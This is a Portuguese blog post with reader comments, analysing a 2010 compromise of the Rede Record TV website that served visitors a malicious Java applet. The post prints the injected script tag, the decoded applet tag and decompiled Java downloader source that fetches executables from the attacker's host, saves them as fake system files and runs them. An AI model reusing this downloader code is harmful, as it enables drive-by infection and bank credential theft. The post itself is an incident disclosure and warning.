Estava passando os canais da TV e vi que o Jornal da Record estava exibindo uma reportagem sobre crimes cibernéticos, ou Crimes na Rede como eles intitularam. Achei legal e fui no site deles para assistir os vídeos da série de reportagens.
Ao abrir a URL das reportagens:
http://programas.rederecord.com.br/programas/jornaldarecord/series.asp?id=4485
Veja a tela com a qual me deparei:
Uma grande ironia, o site foi infectado, o atacante invadiu (desconheço o método utilizado) e inseriu um código para executar um Applet Java (.jar).
Alguém que não deve ter gostado muito da reportagem deve ter feito isso. Inseriram esse código na página:
<ScRipT src="HTTP://www.anpal.org.br/_.js"></ScRipT>
O javascript "_.js" estava com uma espécie de codificação para dificultar a leitura, mas foi facilmente removida e seu conteúdo é esse:
<applet name="Adobe Flash Player version 10.1.6" code="Main.class" archive="http://www.anpal.org.br/home.jar" height="1" width="1"><param name="link" value="http://www.anpal.org.br/Autorun.jar"></applet>
Fiz download dos arquivos "home.jar" e "Autorun.jar".
Arquivo do tipo JAR é uma espécie de ZIP de arquivos Java, então ao descompactá-los obtive dois arquivos Main.class, que é como se fossem os arquivos java compilados, são os bytecodes.
Com ajuda do site www.showmycode.com, obtive o código-fonte dos dois arquivos Main.
home.jar – Main.class
import java.applet.Applet;
import java.io.*;
import java.net.URL;
import java.net.URLConnection;
public class Main extends Applet
{
public Main()
{
}
public void Plugin()
throws Exception
{
byte buffer[] = new byte[10240];
String archivo = getParameter("link");
System.out.println((new StringBuilder("Adobe Flash Player :")).append(archivo).toString());
String ext = archivo.substring(archivo.lastIndexOf("."));
ext = ext.toLowerCase();
File nuevo = File.createTempFile("FlashPlayer", ext);
FileOutputStream stream = new FileOutputStream(nuevo);
URL ur = new URL(archivo);
URLConnection uc = ur.openConnection();
BufferedInputStream is = new BufferedInputStream(uc.getInputStream());
int leidos;
while((leidos = is.read(buffer)) > 0)
stream.write(buffer, 0, leidos);
stream.close();
if(ext.contains(".jar"))
Runtime.getRuntime().exec((new StringBuilder(String.valueOf(System.getProperty("sun.boot.library.path")))).append("\\javaw.exe -jar \"").append(nuevo.getAbsolutePath()).append("\"").toString());
else
try
{
Runtime.getRuntime().exec(nuevo.getAbsolutePath());
}
catch(IOException e)
{
File f = File.createTempFile("tmp", ".bat");
f.createNewFile();
f.deleteOnExit();
PrintWriter pw = new PrintWriter(f);
pw.println((new StringBuilder("\"")).append(nuevo.getAbsolutePath()).append("\"").toString());
pw.close();
Runtime.getRuntime().exec(f.getAbsolutePath());
f.delete();
}
nuevo.deleteOnExit();
}
public void init()
{
try
{
Plugin();
}
catch(Exception e)
{
e.printStackTrace();
}
super.init();
}
}
package autorun;
import java.io.*;
import java.net.*;
import javax.swing.JOptionPane;
public class Main
{
public Main()
{
}
public void init()
{
String s = System.getProperty("user.home");
try
{
File file = new File(s, "/Imagen1.exe");
FileOutputStream fileoutputstream = new FileOutputStream(file, false);
URL url = new URL("http://www.anpal.org.br/mercurio.txt");
URLConnection urlconnection = url.openConnection();
InputStream inputstream = urlconnection.getInputStream();
for(int i = 0; (i = inputstream.read()) != -1;)
fileoutputstream.write(i);
inputstream.close();
fileoutputstream.close();
Process process = Runtime.getRuntime().exec(file.getAbsolutePath());
}
catch(FileNotFoundException filenotfoundexception)
{
JOptionPane.showMessageDialog(null, "Arquivo n\343o encontrado. Causa: " + filenotfoundexception.getMessage());
}
catch(MalformedURLException malformedurlexception)
{
JOptionPane.showMessageDialog(null, "Erro na forma\347\343o da URL. Causa: " + malformedurlexception.getMessage());
}
catch(IOException ioexception)
{
JOptionPane.showMessageDialog(null, "Erro de entrada/saida de dados. Causa: " + ioexception.getMessage());
}
try
{
File file1 = new File(s, "/msnwin32.exe");
FileOutputStream fileoutputstream1 = new FileOutputStream(file1, false);
URL url1 = new URL("http://www.anpal.org.br/netuno.txt");
URLConnection urlconnection1 = url1.openConnection();
InputStream inputstream1 = urlconnection1.getInputStream();
for(int j = 0; (j = inputstream1.read()) != -1;)
fileoutputstream1.write(j);
inputstream1.close();
fileoutputstream1.close();
Process process1 = Runtime.getRuntime().exec(file1.getAbsolutePath());
}
catch(FileNotFoundException filenotfoundexception1)
{
JOptionPane.showMessageDialog(null, "Arquivo n\343o encontrado. Causa: " + filenotfoundexception1.getMessage());
}
catch(MalformedURLException malformedurlexception1)
{
JOptionPane.showMessageDialog(null, "Erro na forma\347\343o da URL. Causa: " + malformedurlexception1.getMessage());
}
catch(IOException ioexception1)
{
JOptionPane.showMessageDialog(null, "Erro de entrada/saida de dados. Causa: " + ioexception1.getMessage());
}
}
public static void main(String args[])
{
Main main1 = new Main();
main1.init();
}
}
Não analisei com muita calma esses códigos mas vi que no segundo ele faz download de dois arquivos: mercurio.txt e netuno.txt (que na verdade não são txt e sim binários) e salvam no computador da vítima como Imagen1.exe e msnwin32.exe respectivamente.
Fiz o download desses dois arquivos mas ainda não analisei, porém imagino que devem ser malwares para furtar senhas de bancos, conectar em redes zumbis, etc.
Fica aí o alerta, até o presente momento todo esse esquema ainda está no ar.
Impressionante como uma empresa tão grande que se propõe a exibir reportagens sobre os crimes na Internet está tão vulnerável a esse tipo de ataque.
[POST Adicionado em 21/10/2010, 10:20]
Felizmente os administradores do site da Rede Record já corrigiram o problema, porém fica aqui registrado o incidente. Posteriormente irei analisar os executáveis que o golpe disseminava.
[POST Adicionado em 24/10/2010, 19:05]
Como se já não bastasse uma vez, novamente o site da Rede Record foi comprometido com malwares ontem a noite, quem alertou foi Felipe Santos no comentário abaixo. Acessei o site e constatei o mesmo golpe, segue a nova tela capturada ontem, 23/10 às 21:35. Quantas vezes mais isso ocorrerá sem que a Record não tome nenhuma atitude?
[POST Adicionado em 25/10/2010, 01:40]
Parece até piada, novamente essa noite o site estava comprometido, achava que o admin do site tinha desativado o golpe mas agora imagino que o cracker está programando o ataque para somente algumas horas do dia, da noite na verdade. Mais telas capturadas, 25/10, 01:24.
[POST Adicionado em 12/09/2011]
No dia 09/09/2011, quase um ano após o incidente com o site da Rede Record, entrou em contato comigo o responsável pelo domínio anpal.org.br junto ao Registro.br. Disse-me que estava afastado da entidade (ANPAL) e tomou conhecimento do incidente só agora, infelizmente.
Gostaria de destacar aqui a forma educada e atenciosa com a qual se comunicou, preocupado com o ocorrido e em buscar os reponsáveis pela não atenção ao problema, já que na época enviei e-mail para dois contatos do site e ninguém respondeu. Fica registrado um exemplo de comunicação entre administradores de sistemas/domínios e pesquisadores de segurança.
Leia também:
Nossa! Muito legal da sua parte se propor a analisar isso, fiquei impressionado como os caras deixam esse tipo de falha ocorre D:
ResponderExcluirestá em hex: http://www.anpal.org.br/_.js
ResponderExcluirDeve ser decodado para Int.
O que mais me impressiona é que o servidor do Anpal.org está ownado, continua ownado e ninguém se mexe por lá. Só tem mané nesse mercado.
ResponderExcluirMeu Deus do céu, ontem mesmo eu acessei o site pra ver isso e rodei os dois.
ResponderExcluirManda pra uma página fake..
segue a lista http://www.baygroup.co.jp/templates_20090521org/index/edf5d6af01f22a1e7ec2c1b3d06657d6.txt
como faço pra tira esse virus?
isso e chado de autoinfect :) nao foi uma falha de xss ele invadiram o site e modificaram a pagina =)
ResponderExcluirNão entendi muito bem o que o colega postou acima sobre o AutoInfect, mas como não foi XSS eu deixo então para os especialistas no assunto dizerem ao certo o que aconteceu, sou apenas um estudante sobre todos esses temas.
ResponderExcluirParece que o malware adiciona um proxy no navegador da vítma e redireciona sites de bancos para sites falsos. Isso foi o que constatou o usuário Tony Stark do fórum ISTF, pode ser lido aqui: http://j.mp/caRRlS
Abraço!
caramba a vulnerabilidade ainda está rodando na página da record!!
ResponderExcluirDE FUDERRRRRRRR , TEM QUE DEMONIAR ESSE PASTORES MESMO ... HEHEHHEE
ResponderExcluirHACKED POISON :
ResponderExcluirELES ENGANÃO O FIEIS , ROUBANDO , PRATICAMENTE FORÇANDO A DOAÇÕES , DISMO , VENDA NA PARTE DO CEU ETC ETC ! EDI MACEDO TOME UM SUQUINHO DE LIMÃO MEU CARO , O BRASIL TEM OS MELHORES HACKERSES DO MUNDO , ISSO É FATO NAS ESTATISTICAS !! SEU ENGANADOR DE FIEIS
Ronaldo,
ResponderExcluirMe manda essa análise completa! Grato.
Abraço.
Eu inocentemente cai nisso, alguem sabe como remove-lo pois fui infectado. O kaspersky bloqueou o acesso do internet explorer pois toda vez que abro o IE, ele tenta abrir automaticamente a página http://www.baygroup.co.jp/templates_20090521org/index/edf5d6af01f22a1e7ec2c1b3d06657d6.txt
ResponderExcluirMe ajudem a retirar esse negócio por favor!
Esse endereço que o IE tenta se conectar é um script que verifica se você está acessando algum site da lista dele e caso positivo redireciona para um PROXY malicioso.
ResponderExcluirPara desabilitar essa função no IE você teria que ir em Ferramentas -> Opções da Internet -> Conexões -> Configurações da LAN -> apagar e desmarcar toda as opções de uso de proxys e configuração automática.
Apenas esse procedimento porém não deve resolver tudo relacionado a esse malware, recomendo fazer uma varredura com algum antivírus.
Ronaldo, ainda sou leiga no assunto e aos poucos estou aprendendo através das suas postagens.Thank's! ;D Recentemente eu entrei em um site que apareceu uma mensagem semelhante a do site da Record, logo lembrei desse post e percebi que era vírus. Tentei seguir o que você fez para achar o vírus, porém, não sei como decodificar o arquivo .js. Você usou algum programa? Qual? Obrigada. Alice
ResponderExcluirOlá Alice, agradeço pelo comentário.
ResponderExcluirCaso o Javascript que você encontrou esteja do mesmo jeito que encontrei com URL Encode, é só converter o Hexadecimal em ASCII. Existem alguns sites que fazem isso automaticamente, pode usar esse por exemplo:
http://hogehoge.tk/tool-i/
Abraço!
"Impressionante como uma empresa tão grande que se propõe a exibir reportagens sobre os crimes na Internet está tão vulnerável a esse tipo de ataque."
ResponderExcluirNão há motivos para se impressionar com isso, se os sites bancários são alvos, o que você poderia esperar de um mero site de TV???
"Alguém que não deve ter gostado muito da reportagem deve ter feito isso."
ResponderExcluirDiscordo, pelo tipo de artefatos, isso foi ação de criminosos.
Opa, mais um bauruense na segurança :D
ResponderExcluirRonaldo, com XSS não daria para ter feito o que eles fizeram, ou melhor, até daria, mas só concluiriamos se fizessemos uma análise forense.
Acredito que você disse que era XSS pelo código estar em um .js, correto?
Provavelmente exploraram alguma falha no servidor que permitisse controlar o mesmo ou inserir dados na base de dados e então, alteraram a página.
Abraço!!
Filipe
Grande Filipe!
ResponderExcluirValeu pelo comentário! Realmente na hora eu vi o javascript e achei que era XSS, coisa de newbie heheh. Escrevi o post correndo, mas vou corrigir agora pra não ficar errado.
E a questão é que a Record escondeu tudo, como a maioria das empresas fazem.
Abraço!
Caramba meu, qualquer usuário leigo iria cair nessa furada, clicando em instalar o plugin! A Record deveria ter sido processada por ter webmasters tão newbies. Parabéns ao post e parabéns ao atacante, que por sinal fez uma tramóia muito bem bolada!
ResponderExcluir